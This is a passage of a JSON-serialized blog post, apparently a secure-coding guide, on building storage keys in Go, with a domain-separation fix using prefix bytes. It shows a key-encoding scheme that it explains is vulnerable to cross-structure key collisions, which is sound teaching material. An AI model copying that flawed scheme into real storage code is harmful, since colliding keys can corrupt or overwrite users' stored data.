style":220},[86655],{"type":28,"value":265},{"type":23,"tag":213,"props":86657,"children":86658},{"style":257},[86659],{"type":28,"value":9225},{"type":23,"tag":213,"props":86661,"children":86662},{"style":220},[86663],{"type":28,"value":265},{"type":23,"tag":213,"props":86665,"children":86666},{"style":268},[86667],{"type":28,"value":85793},{"type":23,"tag":213,"props":86669,"children":86670},{"style":220},[86671],{"type":28,"value":85675},{"type":23,"tag":213,"props":86673,"children":86674},{"class":215,"line":1899},[86675],{"type":23,"tag":213,"props":86676,"children":86677},{"style":220},[86678],{"type":28,"value":1918},{"type":23,"tag":213,"props":86680,"children":86681},{"class":215,"line":1912},[86682,86686,86690,86694,86698,86702,86706,86710],{"type":23,"tag":213,"props":86683,"children":86684},{"style":268},[86685],{"type":28,"value":85645},{"type":23,"tag":213,"props":86687,"children":86688},{"style":220},[86689],{"type":28,"value":124},{"type":23,"tag":213,"props":86691,"children":86692},{"style":257},[86693],{"type":28,"value":85699},{"type":23,"tag":213,"props":86695,"children":86696},{"style":220},[86697],{"type":28,"value":265},{"type":23,"tag":213,"props":86699,"children":86700},{"style":268},[86701],{"type":28,"value":85734},{"type":23,"tag":213,"props":86703,"children":86704},{"style":220},[86705],{"type":28,"value":424},{"type":23,"tag":213,"props":86707,"children":86708},{"style":268},[86709],{"type":28,"value":85793},{"type":23,"tag":213,"props":86711,"children":86712},{"style":220},[86713],{"type":28,"value":2183},{"type":23,"tag":213,"props":86715,"children":86716},{"class":215,"line":1921},[86717],{"type":23,"tag":213,"props":86718,"children":86719},{"emptyLinePlaceholder":18},[86720],{"type":28,"value":530},{"type":23,"tag":213,"props":86722,"children":86723},{"class":215,"line":3879},[86724,86729,86733,86737,86741,86745],{"type":23,"tag":213,"props":86725,"children":86726},{"style":268},[86727],{"type":28,"value":86728}," key",{"type":23,"tag":213,"props":86730,"children":86731},{"style":274},[86732],{"type":28,"value":76469},{"type":23,"tag":213,"props":86734,"children":86735},{"style":268},[86736],{"type":28,"value":82287},{"type":23,"tag":213,"props":86738,"children":86739},{"style":220},[86740],{"type":28,"value":124},{"type":23,"tag":213,"props":86742,"children":86743},{"style":257},[86744],{"type":28,"value":85276},{"type":23,"tag":213,"props":86746,"children":86747},{"style":220},[86748],{"type":28,"value":1511},{"type":23,"tag":213,"props":86750,"children":86751},{"class":215,"line":3887},[86752,86757],{"type":23,"tag":213,"props":86753,"children":86754},{"style":246},[86755],{"type":28,"value":86756}," \"%d%s%s%s%s\"",{"type":23,"tag":213,"props":86758,"children":86759},{"style":220},[86760],{"type":28,"value":944},{"type":23,"tag":213,"props":86762,"children":86763},{"class":215,"line":3918},[86764,86769],{"type":23,"tag":213,"props":86765,"children":86766},{"style":268},[86767],{"type":28,"value":86768}," vaultId",{"type":23,"tag":213,"props":86770,"children":86771},{"style":220},[86772],{"type":28,"value":944},{"type":23,"tag":213,"props":86774,"children":86775},{"class":215,"line":3926},[86776,86781],{"type":23,"tag":213,"props":86777,"children":86778},{"style":268},[86779],{"type":28,"value":86780}," Seperator",{"type":23,"tag":213,"props":86782,"children":86783},{"style":220},[86784],{"type":28,"value":944},{"type":23,"tag":213,"props":86786,"children":86787},{"class":215,"line":3986},[86788,86793],{"type":23,"tag":213,"props":86789,"children":86790},{"style":268},[86791],{"type":28,"value":86792}," usernameEncoded",{"type":23,"tag":213,"props":86794,"children":86795},{"style":220},[86796],{"type":28,"value":944},{"type":23,"tag":213,"props":86798,"children":86799},{"class":215,"line":9132},[86800,86804],{"type":23,"tag":213,"props":86801,"children":86802},{"style":268},[86803],{"type":28,"value":86780},{"type":23,"tag":213,"props":86805,"children":86806},{"style":220},[86807],{"type":28,"value":944},{"type":23,"tag":213,"props":86809,"children":86810},{"class":215,"line":9150},[86811,86816],{"type":23,"tag":213,"props":86812,"children":86813},{"style":268},[86814],{"type":28,"value":86815}," positionNameEncoded",{"type":23,"tag":213,"props":86817,"children":86818},{"style":220},[86819],{"type":28,"value":944},{"type":23,"tag":213,"props":86821,"children":86822},{"class":215,"line":9195},[86823],{"type":23,"tag":213,"props":86824,"children":86825},{"style":220},[86826],{"type":28,"value":1918},{"type":23,"tag":213,"props":86828,"children":86829},{"class":215,"line":9301},[86830],{"type":23,"tag":213,"props":86831,"children":86832},{"style":220},[86833],{"type":28,"value":1208},{"type":23,"tag":213,"props":86835,"children":86836},{"class":215,"line":23557},[86837],{"type":23,"tag":213,"props":86838,"children":86839},{"emptyLinePlaceholder":18},[86840],{"type":28,"value":530},{"type":23,"tag":213,"props":86842,"children":86843},{"class":215,"line":23592},[86844],{"type":23,"tag":213,"props":86845,"children":86846},{"emptyLinePlaceholder":18},[86847],{"type":28,"value":530},{"type":23,"tag":213,"props":86849,"children":86850},{"class":215,"line":23600},[86851,86855,86860],{"type":23,"tag":213,"props":86852,"children":86853},{"style":230},[86854],{"type":28,"value":76353},{"type":23,"tag":213,"props":86856,"children":86857},{"style":257},[86858],{"type":28,"value":86859}," AddressMapKey",{"type":23,"tag":213,"props":86861,"children":86862},{"style":220},[86863],{"type":28,"value":1511},{"type":23,"tag":213,"props":86865,"children":86866},{"class":215,"line":23608},[86867,86871,86875],{"type":23,"tag":213,"props":86868,"children":86869},{"style":268},[86870],{"type":28,"value":85300},{"type":23,"tag":213,"props":86872,"children":86873},{"style":290},[86874],{"type":28,"value":76474},{"type":23,"tag":213,"props":86876,"children":86877},{"style":220},[86878],{"type":28,"value":944},{"type":23,"tag":213,"props":86880,"children":86881},{"class":215,"line":23617},[86882,86886,86890,86895,86899],{"type":23,"tag":213,"props":86883,"children":86884},{"style":268},[86885],{"type":28,"value":85312},{"type":23,"tag":213,"props":86887,"children":86888},{"style":220},[86889],{"type":28,"value":424},{"type":23,"tag":213,"props":86891,"children":86892},{"style":268},[86893],{"type":28,"value":86894},"addressName",{"type":23,"tag":213,"props":86896,"children":86897},{"style":220},[86898],{"type":28,"value":76280},{"type":23,"tag":213,"props":86900,"children":86901},{"style":290},[86902],{"type":28,"value":84281},{"type":23,"tag":213,"props":86904,"children":86905},{"class":215,"line":23659},[86906,86910,86914,86918,86922],{"type":23,"tag":213,"props":86907,"children":86908},{"style":220},[86909],{"type":28,"value":76435},{"type":23,"tag":213,"props":86911,"children":86912},{"style":268},[86913],{"type":28,"value":72209},{"type":23,"tag":213,"props":86915,"children":86916},{"style":220},[86917],{"type":28,"value":76280},{"type":23,"tag":213,"props":86919,"children":86920},{"style":290},[86921],{"type":28,"value":84818},{"type":23,"tag":213,"props":86923,"children":86924},{"style":220},[86925],{"type":28,"value":14870},{"type":23,"tag":213,"props":86927,"children":86928},{"class":215,"line":23692},[86929,86933,86937,86941],{"type":23,"tag":213,"props":86930,"children":86931},{"style":268},[86932],{"type":28,"value":85914},{"type":23,"tag":213,"props":86934,"children":86935},{"style":274},[86936],{"type":28,"value":76469},{"type":23,"tag":213,"props":86938,"children":86939},{"style":257},[86940],{"type":28,"value":85617},{"type":23,"tag":213,"props":86942,"children":86943},{"style":220},[86944],{"type":28,"value":1511},{"type":23,"tag":213,"props":86946,"children":86947},{"class":215,"line":23700},[86948,86952,86956],{"type":23,"tag":213,"props":86949,"children":86950},{"style":220},[86951],{"type":28,"value":86508},{"type":23,"tag":213,"props":86953,"children":86954},{"style":290},[86955],{"type":28,"value":84818},{"type":23,"tag":213,"props":86957,"children":86958},{"style":220},[86959],{"type":28,"value":944},{"type":23,"tag":213,"props":86961,"children":86962},{"class":215,"line":23708},[86963,86967,86971,86975,86979,86983,86987,86991],{"type":23,"tag":213,"props":86964,"children":86965},{"style":268},[86966],{"type":28,"value":86524},{"type":23,"tag":213,"props":86968,"children":86969},{"style":220},[86970],{"type":28,"value":124},{"type":23,"tag":213,"props":86972,"children":86973},{"style":257},[86974],{"type":28,"value":85654},{"type":23,"tag":213,"props":86976,"children":86977},{"style":220},[86978],{"type":28,"value":265},{"type":23,"tag":213,"props":86980,"children":86981},{"style":257},[86982],{"type":28,"value":9225},{"type":23,"tag":213,"props":86984,"children":86985},{"style":220},[86986],{"type":28,"value":265},{"type":23,"tag":213,"props":86988,"children":86989},{"style":268},[86990],{"type":28,"value":85524},{"type":23,"tag":213,"props":86992,"children":86993},{"style":220},[86994],{"type":28,"value":85675},{"type":23,"tag":213,"props":86996,"children":86997},{"class":215,"line":23717},[86998],{"type":23,"tag":213,"props":86999,"children":87000},{"style":220},[87001],{"type":28,"value":1918},{"type":23,"tag":213,"props":87003,"children":87004},{"class":215,"line":23793},[87005,87009,87013,87017,87021,87025,87029,87033],{"type":23,"tag":213,"props":87006,"children":87007},{"style":268},[87008],{"type":28,"value":85645},{"type":23,"tag":213,"props":87010,"children":87011},{"style":220},[87012],{"type":28,"value":124},{"type":23,"tag":213,"props":87014,"children":87015},{"style":257},[87016],{"type":28,"value":85699},{"type":23,"tag":213,"props":87018,"children":87019},{"style":220},[87020],{"type":28,"value":265},{"type":23,"tag":213,"props":87022,"children":87023},{"style":268},[87024],{"type":28,"value":85608},{"type":23,"tag":213,"props":87026,"children":87027},{"style":220},[87028],{"type":28,"value":424},{"type":23,"tag":213,"props":87030,"children":87031},{"style":268},[87032],{"type":28,"value":85524},{"type":23,"tag":213,"props":87034,"children":87035},{"style":220},[87036],{"type":28,"value":2183},{"type":23,"tag":213,"props":87038,"children":87039},{"class":215,"line":23826},[87040],{"type":23,"tag":213,"props":87041,"children":87042},{"emptyLinePlaceholder":18},[87043],{"type":28,"value":530},{"type":23,"tag":213,"props":87045,"children":87046},{"class":215,"line":23834},[87047,87052,87056,87060],{"type":23,"tag":213,"props":87048,"children":87049},{"style":268},[87050],{"type":28,"value":87051}," addressNameEncoded",{"type":23,"tag":213,"props":87053,"children":87054},{"style":274},[87055],{"type":28,"value":76469},{"type":23,"tag":213,"props":87057,"children":87058},{"style":257},[87059],{"type":28,"value":85617},{"type":23,"tag":213,"props":87061,"children":87062},{"style":220},[87063],{"type":28,"value":1511},{"type":23,"tag":213,"props":87065,"children":87066},{"class":215,"line":23842},[87067,87071,87075],{"type":23,"tag":213,"props":87068,"children":87069},{"style":220},[87070],{"type":28,"value":86508},{"type":23,"tag":213,"props":87072,"children":87073},{"style":290},[87074],{"type":28,"value":84818},{"type":23,"tag":213,"props":87076,"children":87077},{"style":220},[87078],{"type":28,"value":944},{"type":23,"tag":213,"props":87080,"children":87081},{"class":215,"line":23879},[87082,87086,87090,87094,87098,87102,87106,87110],{"type":23,"tag":213,"props":87083,"children":87084},{"style":268},[87085],{"type":28,"value":86524},{"type":23,"tag":213,"props":87087,"children":87088},{"style":220},[87089],{"type":28,"value":124},{"type":23,"tag":213,"props":87091,"children":87092},{"style":257},[87093],{"type":28,"value":85654},{"type":23,"tag":213,"props":87095,"children":87096},{"style":220},[87097],{"type":28,"value":265},{"type":23,"tag":213,"props":87099,"children":87100},{"style":257},[87101],{"type":28,"value":9225},{"type":23,"tag":213,"props":87103,"children":87104},{"style":220},[87105],{"type":28,"value":265},{"type":23,"tag":213,"props":87107,"children":87108},{"style":268},[87109],{"type":28,"value":86894},{"type":23,"tag":213,"props":87111,"children":87112},{"style":220},[87113],{"type":28,"value":85675},{"type":23,"tag":213,"props":87115,"children":87116},{"class":215,"line":23892},[87117],{"type":23,"tag":213,"props":87118,"children":87119},{"style":220},[87120],{"type":28,"value":1918},{"type":23,"tag":213,"props":87122,"children":87123},{"class":215,"line":23905},[87124,87128,87132,87136,87140,87145,87149,87153],{"type":23,"tag":213,"props":87125,"children":87126},{"style":268},[87127],{"type":28,"value":85645},{"type":23,"tag":213,"props":87129,"children":87130},{"style":220},[87131],{"type":28,"value":124},{"type":23,"tag":213,"props":87133,"children":87134},{"style":257},[87135],{"type":28,"value":85699},{"type":23,"tag":213,"props":87137,"children":87138},{"style":220},[87139],{"type":28,"value":265},{"type":23,"tag":213,"props":87141,"children":87142},{"style":268},[87143],{"type":28,"value":87144},"addressNameEncoded",{"type":23,"tag":213,"props":87146,"children":87147},{"style":220},[87148],{"type":28,"value":424},{"type":23,"tag":213,"props":87150,"children":87151},{"style":268},[87152],{"type":28,"value":86894},{"type":23,"tag":213,"props":87154,"children":87155},{"style":220},[87156],{"type":28,"value":2183},{"type":23,"tag":213,"props":87158,"children":87159},{"class":215,"line":23918},[87160],{"type":23,"tag":213,"props":87161,"children":87162},{"emptyLinePlaceholder":18},[87163],{"type":28,"value":530},{"type":23,"tag":213,"props":87165,"children":87166},{"class":215,"line":23972},[87167,87171,87175,87179,87183,87187],{"type":23,"tag":213,"props":87168,"children":87169},{"style":268},[87170],{"type":28,"value":86728},{"type":23,"tag":213,"props":87172,"children":87173},{"style":274},[87174],{"type":28,"value":76469},{"type":23,"tag":213,"props":87176,"children":87177},{"style":268},[87178],{"type":28,"value":82287},{"type":23,"tag":213,"props":87180,"children":87181},{"style":220},[87182],{"type":28,"value":124},{"type":23,"tag":213,"props":87184,"children":87185},{"style":257},[87186],{"type":28,"value":85276},{"type":23,"tag":213,"props":87188,"children":87189},{"style":220},[87190],{"type":28,"value":1511},{"type":23,"tag":213,"props":87192,"children":87193},{"class":215,"line":23980},[87194,87198],{"type":23,"tag":213,"props":87195,"children":87196},{"style":246},[87197],{"type":28,"value":86756},{"type":23,"tag":213,"props":87199,"children":87200},{"style":220},[87201],{"type":28,"value":944},{"type":23,"tag":213,"props":87203,"children":87204},{"class":215,"line":32336},[87205,87209],{"type":23,"tag":213,"props":87206,"children":87207},{"style":268},[87208],{"type":28,"value":86768},{"type":23,"tag":213,"props":87210,"children":87211},{"style":220},[87212],{"type":28,"value":944},{"type":23,"tag":213,"props":87214,"children":87215},{"class":215,"line":32357},[87216,87220],{"type":23,"tag":213,"props":87217,"children":87218},{"style":268},[87219],{"type":28,"value":86780},{"type":23,"tag":213,"props":87221,"children":87222},{"style":220},[87223],{"type":28,"value":944},{"type":23,"tag":213,"props":87225,"children":87226},{"class":215,"line":81004},[87227,87231],{"type":23,"tag":213,"props":87228,"children":87229},{"style":268},[87230],{"type":28,"value":86792},{"type":23,"tag":213,"props":87232,"children":87233},{"style":220},[87234],{"type":28,"value":944},{"type":23,"tag":213,"props":87236,"children":87237},{"class":215,"line":81017},[87238,87242],{"type":23,"tag":213,"props":87239,"children":87240},{"style":268},[87241],{"type":28,"value":86780},{"type":23,"tag":213,"props":87243,"children":87244},{"style":220},[87245],{"type":28,"value":944},{"type":23,"tag":213,"props":87247,"children":87248},{"class":215,"line":81025},[87249,87254],{"type":23,"tag":213,"props":87250,"children":87251},{"style":268},[87252],{"type":28,"value":87253}," addressNameEncoded",{"type":23,"tag":213,"props":87255,"children":87256},{"style":220},[87257],{"type":28,"value":944},{"type":23,"tag":213,"props":87259,"children":87260},{"class":215,"line":81033},[87261],{"type":23,"tag":213,"props":87262,"children":87263},{"style":220},[87264],{"type":28,"value":1918},{"type":23,"tag":213,"props":87266,"children":87267},{"class":215,"line":81041},[87268],{"type":23,"tag":213,"props":87269,"children":87270},{"style":220},[87271],{"type":28,"value":1208},{"type":23,"tag":24,"props":87273,"children":87274},{},[87275,87277,87282],{"type":28,"value":87276},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":23,"tag":209,"props":87278,"children":87280},{"className":87279},[],[87281],{"type":28,"value":85030},{"type":28,"value":87283},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":23,"tag":202,"props":87285,"children":87287},{"code":87286},"vaultId = 1, username = \"a\", positionName = \"b\"\n => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n => AddressMapKey = \"1|a||b\"\n",[87288],{"type":23,"tag":209,"props":87289,"children":87290},{"__ignoreMap":7},[87291],{"type":28,"value":87286},{"type":23,"tag":24,"props":87293,"children":87294},{},[87295],{"type":28,"value":87296},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":23,"tag":202,"props":87298,"children":87300},{"code":87299,"language":76217,"meta":7,"className":76218,"style":7},"const (\n Seperator = \"|\"\n PositionMapPrefix = \"\\x01\"\n AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n vaultId uint64,\n username, positionName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n positionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n )\n hex.Encode(positionNameEncoded, positionName)\n\n key := fmt.Sprintf(\n \"%s%d%s%s%s%s\",\n PositionMapPrefix,\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded,\n )\n}\n\n\nfunc AddressMapKey(\n vaultId uint64,\n username, addressName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n addressNameEncoded := make(\n []byte,\n hex.EncodedLen(len(addressName)),\n )\n hex.Encode(addressNameEncoded, addressName)\n\n key := fmt.Sprintf(\n \"%s%d%s%s%s%s\",\n AddressMapPrefix,\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n addressNameEncoded,\n )\n}\n",[87301],{"type":23,"tag":209,"props":87302,"children":87303},{"__ignoreMap":7},[87304,87315,87330,87357,87382,87389,87396,87403,87418,87433,87460,87483,87502,87517,87552,87559,87594,87601,87620,87635,87670,87677,87712,87719,87746,87758,87770,87781,87792,87803,87814,87825,87832,87839,87846,87853,87868,87883,87910,87933,87952,87967,88002,88009,88044,88051,88070,88085,88120,88127,88162,88169,88196,88207,88219,88230,88241,88252,88263,88274,88282],{"type":23,"tag":213,"props":87305,"children":87306},{"class":215,"line":216},[87307,87311],{"type":23,"tag":213,"props":87308,"children":87309},{"style":230},[87310],{"type":28,"value":632},{"type":23,"tag":213,"props":87312,"children":87313},{"style":220},[87314],{"type":28,"value":78619},{"type":23,"tag":213,"props":87316,"children":87317},{"class":215,"line":226},[87318,87322,87326],{"type":23,"tag":213,"props":87319,"children":87320},{"style":268},[87321],{"type":28,"value":85384},{"type":23,"tag":213,"props":87323,"children":87324},{"style":274},[87325],{"type":28,"value":511},{"type":23,"tag":213,"props":87327,"children":87328},{"style":246},[87329],{"type":28,"value":85393},{"type":23,"tag":213,"props":87331,"children":87332},{"class":215,"line":524},[87333,87338,87342,87347,87352],{"type":23,"tag":213,"props":87334,"children":87335},{"style":268},[87336],{"type":28,"value":87337}," PositionMapPrefix",{"type":23,"tag":213,"props":87339,"children":87340},{"style":274},[87341],{"type":28,"value":511},{"type":23,"tag":213,"props":87343,"children":87344},{"style":246},[87345],{"type":28,"value":87346}," \"",{"type":23,"tag":213,"props":87348,"children":87349},{"style":48425},[87350],{"type":28,"value":87351},"\\x01",{"type":23,"tag":213,"props":87353,"children":87354},{"style":246},[87355],{"type":28,"value":87356},"\"\n",{"type":23,"tag":213,"props":87358,"children":87359},{"class":215,"line":533},[87360,87365,87369,87373,87378],{"type":23,"tag":213,"props":87361,"children":87362},{"style":268},[87363],{"type":28,"value":87364}," AddressMapPrefix",{"type":23,"tag":213,"props":87366,"children":87367},{"style":274},[87368],{"type":28,"value":511},{"type":23,"tag":213,"props":87370,"children":87371},{"style":246},[87372],{"type":28,"value":87346},{"type":23,"tag":213,"props":87374,"children":87375},{"style":48425},[87376],{"type":28,"value":87377},"\\x02",{"type":23,"tag":213,"props":87379,"children":87380},{"style":246},[87381],{"type":28,"value":87356},{"type":23,"tag":213,"props":87383,"children":87384},{"class":215,"line":543},[87385],{"type":23,"tag":213,"props":87386,"children":87387},{"style":220},[87388],{"type":28,"value":2183},{"type":23,"tag":213,"props":87390,"children":87391},{"class":215,"line":551},[87392],{"type":23,"tag":213,"props":87393,"children":87394},{"emptyLinePlaceholder":18},[87395],{"type":28,"value":530},{"type":23,"tag":213,"props":87397,"children":87398},{"class":215,"line":570},[87399],{"type":23,"tag":213,"props":87400,"children":87401},{"emptyLinePlaceholder":18},[87402],{"type":28,"value":530},{"type":23,"tag":213,"props":87404,"children":87405},{"class":215,"line":655},[87406,87410,87414],{"type":23,"tag":213,"props":87407,"children":87408},{"style":230},[87409],{"type":28,"value":76353},{"type":23,"tag":213,"props":87411,"children":87412},{"style":257},[87413],{"type":28,"value":86412},{"type":23,"tag":213,"props":87415,"children":87416},{"style":220},[87417],{"type":28,"value":1511},{"type":23,"tag":213,"props":87419,"children":87420},{"class":215,"line":1176},[87421,87425,87429],{"type":23,"tag":213,"props":87422,"children":87423},{"style":268},[87424],{"type":28,"value":85300},{"type":23,"tag":213,"props":87426,"children":87427},{"style":290},[87428],{"type":28,"value":76474},{"type":23,"tag":213,"props":87430,"children":87431},{"style":220},[87432],{"type":28,"value":944},{"type":23,"tag":213,"props":87434,"children":87435},{"class":215,"line":1202},[87436,87440,87444,87448,87452,87456],{"type":23,"tag":213,"props":87437,"children":87438},{"style":268},[87439],{"type":28,"value":85312},{"type":23,"tag":213,"props":87441,"children":87442},{"style":220},[87443],{"type":28,"value":424},{"type":23,"tag":213,"props":87445,"children":87446},{"style":268},[87447],{"type":28,"value":85793},{"type":23,"tag":213,"props":87449,"children":87450},{"style":220},[87451],{"type":28,"value":76280},{"type":23,"tag":213,"props":87453,"children":87454},{"style":290},[87455],{"type":28,"value":84818},{"type":23,"tag":213,"props":87457,"children":87458},{"style":220},[87459],{"type":28,"value":944},{"type":23,"tag":213,"props":87461,"children":87462},{"class":215,"line":1758},[87463,87467,87471,87475,87479],{"type":23,"tag":213,"props":87464,"children":87465},{"style":220},[87466],{"type":28,"value":76435},{"type":23,"tag":213,"props":87468,"children":87469},{"style":268},[87470],{"type":28,"value":72209},{"type":23,"tag":213,"props":87472,"children":87473},{"style":220},[87474],{"type":28,"value":76280},{"type":23,"tag":213,"props":87476,"children":87477},{"style":290},[87478],{"type":28,"value":84818},{"type":23,"tag":213,"props":87480,"children":87481},{"style":220},[87482],{"type":28,"value":14870},{"type":23,"tag":213,"props":87484,"children":87485},{"class":215,"line":1767},[87486,87490,87494,87498],{"type":23,"tag":213,"props":87487,"children":87488},{"style":268},[87489],{"type":28,"value":85914},{"type":23,"tag":213,"props":87491,"children":87492},{"style":274},[87493],{"type":28,"value":76469},{"type":23,"tag":213,"props":87495,"children":87496},{"style":257},[87497],{"type":28,"value":85617},{"type":23,"tag":213,"props":87499,"children":87500},{"style":220},[87501],{"type":28,"value":1511},{"type":23,"tag":213,"props":87503,"children":87504},{"class":215,"line":1789},[87505,87509,87513],{"type":23,"tag":213,"props":87506,"children":87507},{"style":220},[87508],{"type":28,"value":86508},{"type":23,"tag":213,"props":87510,"children":87511},{"style":290},[87512],{"type":28,"value":84818},{"type":23,"tag":213,"props":87514,"children":87515},{"style":220},[87516],{"type":28,"value":944},{"type":23,"tag":213,"props":87518,"children":87519},{"class":215,"line":1812},[87520,87524,87528,87532,87536,87540,87544,87548],{"type":23,"tag":213,"props":87521,"children":87522},{"style":268},[87523],{"type":28,"value":86524},{"type":23,"tag":213,"props":87525,"children":87526},{"style":220},[87527],{"type":28,"value":124},{"type":23,"tag":213,"props":87529,"children":87530},{"style":257},[87531],{"type":28,"value":85654},{"type":23,"tag":213,"props":87533,"children":87534},{"style":220},[87535],{"type":28,"value":265},{"type":23,"tag":213,"props":87537,"children":87538},{"style":257},[87539],{"type":28,"value":9225},{"type":23,"tag":213,"props":87541,"children":87542},{"style":220},[87543],{"type":28,"value":265},{"type":23,"tag":213,"props":87545,"children":87546},{"style":268},[87547],{"type":28,"value":85524},{"type":23,"tag":213,"props":87549,"children":87550},{"style":220},[87551],{"type":28,"value":85675},{"type":23,"tag":213,"props":87553,"children":87554},{"class":215,"line":1838},[87555],{"type":23,"tag":213,"props":87556,"children":87557},{"style":220},[87558],{"type":28,"value":1918},{"type":23,"tag":213,"props":87560,"children":87561},{"class":215,"line":1851},[87562,87566,87570,87574,87578,87582,87586,87590],{"type":23,"tag":213,"props":87563,"children":87564},{"style":268},[87565],{"type":28,"value":85645},{"type":23,"tag":213,"props":87567,"children":87568},{"style":220},[87569],{"type":28,"value":124},{"type":23,"tag":213,"props":87571,"children":87572},{"style":257},[87573],{"type":28,"value":85699},{"type":23,"tag":213,"props":87575,"children":87576},{"style":220},[87577],{"type":28,"value":265},{"type":23,"tag":213,"props":87579,"children":87580},{"style":268},[87581],{"type":28,"value":85608},{"type":23,"tag":213,"props":87583,"children":87584},{"style":220},[87585],{"type":28,"value":424},{"type":23,"tag":213,"props":87587,"children":87588},{"style":268},[87589],{"type":28,"value":85524},{"type":23,"tag":213,"props":87591,"children":87592},{"style":220},[87593],{"type":28,"value":2183},{"type":23,"tag":213,"props":87595,"children":87596},{"class":215,"line":1864},[87597],{"type":23,"tag":213,"props":87598,"children":87599},{"emptyLinePlaceholder":18},[87600],{"type":28,"value":530},{"type":23,"tag":213,"props":87602,"children":87603},{"class":215,"line":1890},[87604,87608,87612,87616],{"type":23,"tag":213,"props":87605,"children":87606},{"style":268},[87607],{"type":28,"value":86609},{"type":23,"tag":213,"props":87609,"children":87610},{"style":274},[87611],{"type":28,"value":76469},{"type":23,"tag":213,"props":87613,"children":87614},{"style":257},[87615],{"type":28,"value":85617},{"type":23,"tag":213,"props":87617,"children":87618},{"style":220},[87619],{"type":28,"value":1511},{"type":23,"tag":213,"props":87621,"children":87622},{"class":215,"line":1899},[87623,87627,87631],{"type":23,"tag":213,"props":87624,"children":87625},{"style":220},[87626],{"type":28,"value":86508},{"type":23,"tag":213,"props":87628,"children":87629},{"style":290},[87630],{"type":28,"value":84818},{"type":23,"tag":213,"props":87632,"children":87633},{"style":220},[87634],{"type":28,"value":944},{"type":23,"tag":213,"props":87636,"children":87637},{"class":215,"line":1912},[87638,87642,87646,87650,87654,87658,87662,87666],{"type":23,"tag":213,"props":87639,"children":87640},{"style":268},[87641],{"type":28,"value":86524},{"type":23,"tag":213,"props":87643,"children":87644},{"style":220},[87645],{"type":28,"value":124},{"type":23,"tag":213,"props":87647,"children":87648},{"style":257},[87649],{"type":28,"value":85654},{"type":23,"tag":213,"props":87651,"children":87652},{"style":220},[87653],{"type":28,"value":265},{"type":23,"tag":213,"props":87655,"children":87656},{"style":257},[87657],{"type":28,"value":9225},{"type":23,"tag":213,"props":87659,"children":87660},{"style":220},[87661],{"type":28,"value":265},{"type":23,"tag":213,"props":87663,"children":87664},{"style":268},[87665],{"type":28,"value":85793},{"type":23,"tag":213,"props":87667,"children":87668},{"style":220},[87669],{"type":28,"value":85675},{"type":23,"tag":213,"props":87671,"children":87672},{"class":215,"line":1921},[87673],{"type":23,"tag":213,"props":87674,"children":87675},{"style":220},[87676],{"type":28,"value":1918},{"type":23,"tag":213,"props":87678,"children":87679},{"class":215,"line":3879},[87680,87684,87688,87692,87696,87700,87704,87708],{"type":23,"tag":213,"props":87681,"children":87682},{"style":268},[87683],{"type":28,"value":85645},{"type":23,"tag":213,"props":87685,"children":87686},{"style":220},[87687],{"type":28,"value":124},{"type":23,"tag":213,"props":87689,"children":87690},{"style":257},[87691],{"type":28,"value":85699},{"type":23,"tag":213,"props":87693,"children":87694},{"style":220},[87695],{"type":28,"value":265},{"type":23,"tag":213,"props":87697,"children":87698},{"style":268},[87699],{"type":28,"value":85734},{"type":23,"tag":213,"props":87701,"children":87702},{"style":220},[87703],{"type":28,"value":424},{"type":23,"tag":213,"props":87705,"children":87706},{"style":268},[87707],{"type":28,"value":85793},{"type":23,"tag":213,"props":87709,"children":87710},{"style":220},[87711],{"type":28,"value":2183},{"type":23,"tag":213,"props":87713,"children":87714},{"class":215,"line":3887},[87715],{"type":23,"tag":213,"props":87716,"children":87717},{"emptyLinePlaceholder":18},[87718],{"type":28,"value":530},{"type":23,"tag":213,"props":87720,"children":87721},{"class":215,"line":3918},[87722,87726,87730,87734,87738,87742],{"type":23,"tag":213,"props":87723,"children":87724},{"style":268},[87725],{"type":28,"value":86728},{"type":23,"tag":213,"props":87727,"children":87728},{"style":274},[87729],{"type":28,"value":76469},{"type":23,"tag":213,"props":87731,"children":87732},{"style":268},[87733],{"type":28,"value":82287},{"type":23,"tag":213,"props":87735,"children":87736},{"style":220},[87737],{"type":28,"value":124},{"type":23,"tag":213,"props":87739,"children":87740},{"style":257},[87741],{"type":28,"value":85276},{"type":23,"tag":213,"props":87743,"children":87744},{"style":220},[87745],{"type":28,"value":1511},{"type":23,"tag":213,"props":87747,"children":87748},{"class":215,"line":3926},[87749,87754],{"type":23,"tag":213,"props":87750,"children":87751},{"style":246},[87752],{"type":28,"value":87753}," \"%s%d%s%s%s%s\"",{"type":23,"tag":213,"props":87755,"children":87756},{"style":220},[87757],{"type":28,"value":944},{"type":23,"tag":213,"props":87759,"children":87760},{"class":215,"line":3986},[87761,87766],{"type":23,"tag":213,"props":87762,"children":87763},{"style":268},[87764],{"type":28,"value":87765}," PositionMapPrefix",{"type":23,"tag":213,"props":87767,"children":87768},{"style":220},[87769],{"type":28,"value":944},{"type":23,"tag":213,"props":87771,"children":87772},{"class":215,"line":9132},[87773,87777],{"type":23,"tag":213,"props":87774,"children":87775},{"style":268},[87776],{"type":28,"value":86768},{"type":23,"tag":213,"props":87778,"children":87779},{"style":220},[87780],{"type":28,"value":944},{"type":23,"tag":213,"props":87782,"children":87783},{"class":215,"line":9150},[87784,87788],{"type":23,"tag":213,"props":87785,"children":87786},{"style":268},[87787],{"type":28,"value":86780},{"type":23,"tag":213,"props":87789,"children":87790},{"style":220},[87791],{"type":28,"value":944},{"type":23,"tag":213,"props":87793,"children":87794},{"class":215,"line":9195},[87795,87799],{"type":23,"tag":213,"props":87796,"children":87797},{"style":268},[87798],{"type":28,"value":86792},{"type":23,"tag":213,"props":87800,"children":87801},{"style":220},[87802],{"type":28,"value":944},{"type":23,"tag":213,"props":87804,"children":87805},{"class":215,"line":9301},[87806,87810],{"type":23,"